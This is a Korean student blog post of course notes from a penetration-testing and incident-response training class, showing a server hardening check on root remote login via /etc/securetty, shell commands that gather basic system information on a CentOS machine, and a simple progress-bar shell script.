Kernel : Linux 2.6.18-194.el5
CPU : 6 (AMD FX(tm)-6300 Six-Core Processor)
MEM : 3107484k
DISK : 1Network :
 IP :
 Netmask :
 Defaulrouter :
 DNS :

(b) Vul. Check Information
============================================

(U-1). root 사용자의 원격 접속 제한

root 사용자는 원격에서 접속하면 안된다.
[check1] /etc/securetty 파일내에 pts/# 들어 있으면 위험한다.

# cat /etc/securetty
console
vc/1
vc/2
vc/3
vc/4
vc/5
vc/6
vc/7
.......

---------------------------------

 

 

 

 

 

 

 


[root@linux220 ~/bin]# date +'%Y.%m.%d %H:%M'
2016.06.03 02:28


[root@linux220 ~/bin]# cat /etc/*release*
cat: /etc/lsb-release.d: Is a directory
CentOS release 5.5 (Final)


[root@linux220 ~/bin]# uname -a
Linux linux220.example.com 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010 i686 athlon i386 GNU/Linux
[root@linux220 ~/bin]# uname -s
Linux
[root@linux220 ~/bin]# uname -r
2.6.18-194.el5
[root@linux220 ~/bin]# uname -sr
Linux 2.6.18-194.el5


[root@linux220 ~/bin]# cat /proc/cpuinfo
[root@linux220 ~/bin]# cat /proc/cpuinfo | grep 'model name' | awk -F: '{print $2}'
 AMD Phenom(tm) II X4 925 Processor
 AMD Phenom(tm) II X4 925 Processor
 AMD Phenom(tm) II X4 925 Processor
 AMD Phenom(tm) II X4 925 Processor
[root@linux220 ~/bin]# cat /proc/cpuinfo | grep 'model name' | wc -l
4
[root@linux220 ~/bin]# cat /proc/cpuinfo | grep 'model name' | uniq
model name      : AMD Phenom(tm) II X4 925 Processor
[root@linux220 ~/bin]# cat /proc/cpuinfo | grep 'model name' | uniq | awk -F: '{print $2}'
 AMD Phenom(tm) II X4 925 Processor
[root@linux220 ~/bin]# free | grep Mem: | awk '{print $2}'
1035008
[root@linux220 ~/bin]# ls -l /dev/sd?
brw-r----- 1 root disk 8, 0 Jun  3 01:30 /dev/sda
[root@linux220 ~/bin]# ls -l /dev/sd? | wc -l
1

 

 

☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆
☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆

[root@linux220 ~/bin]# cat install.sh
#!/bin/bash

NUM=0


while [ $NUM -le 100 ]
do
        echo -ne "\t\r$NUM% |"
#       echo -ne "=>\b"
        sleep .1
        NUM=`expr $NUM + 1`
done

echo -ne "| complete\n"


아직 해결을 못했음..

☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆
☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆

 

 

리눅스 tee, 화면과 파일에 동시 출력하기

http://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_tee,_%ED%99%94%EB%A9%B4%EA%B3%BC_%ED%8C%8C%EC%9D%BC%EC%97%90_%EB%8F%99%EC%8B%9C_%EC%B6%9C%EB%A0%A5%ED%95%98%EA%B8%B0

 

http://blog.naver.com/besophistica/220308950254
http://blog.naver.com/besophistica/220283473479

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160603 프로젝트#1  (0) 2016.06.04
20160602 프로젝트#1  (0) 2016.06.03
20160601 프로그래밍 기초  (0) 2016.06.02
20160531 과제#1  (0) 2016.06.01
20160531 프로그래밍 기초  (0) 2016.06.01
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함